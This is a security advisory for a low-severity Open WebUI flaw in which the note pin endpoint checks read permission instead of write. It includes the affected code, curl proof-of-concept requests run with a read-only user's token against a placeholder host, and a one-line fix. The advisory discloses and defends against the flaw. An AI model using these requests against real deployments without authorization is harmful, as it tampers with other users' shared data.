PT-2026-59387 · Pypi · Open-Webui

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

3.5

Low

VectorAV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open webui/routers/notes.py lines 412-444
python
@router.post('/{id}/pin', response model=Optional[NoteModel])
async def pin note by id(...):
  # ...
  if user.role != 'admin' and (
    user.id != note.user id
    and not await AccessGrants.has access(
      user id=user.id,
      resource type='note',
      resource id=note.id,
      permission='read',    # BUG: should be 'write'
      db=db,
    )
  ):
    raise HTTPException(...)
  
  note = await Notes.toggle note pinned by id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
python
async def update note by id(...):
  # ...
  and not await AccessGrants.has access(
    permission='write',    # correctly checks 'write'
  )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
  1. UserA creates a note
  2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access grants":[{"principal type":"user","principal id":"USERB ID","permission":"read"}]}
Test:
bash
# Step 1: UserB reads note (READ permission) -> 200 OK, write access: false
curl -s http://TARGET/api/v1/notes/$NOTE ID 
 -H "Authorization: Bearer $TOKEN B"
# Result: 200 OK, "write access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE ID/update 
 -H "Authorization: Bearer $TOKEN B" 
 -H "Content-Type: application/json" 
 -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE ID/pin 
 -H "Authorization: Bearer $TOKEN B"
# Result: 200 OK, "is pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE ID/pin 
 -H "Authorization: Bearer $TOKEN B"
# Result: 200 OK, "is pinned": false (toggled back)
E2E Verified Result:
  • Step 1: UserB reads note (READ) -> 200 OK ✓
  • Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
  • Step 3: UserB pins note (WRITE via READ) -> 200 OK, is pinned: true ✗ (BUG)
  • Step 4: UserB toggles pin again -> 200 OK, is pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation
Limitations: Only affects the is pinned boolean field. Cannot modify title, content, or access grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin note by id:
python
# backend/open webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2745

Affected Products

Open-Webui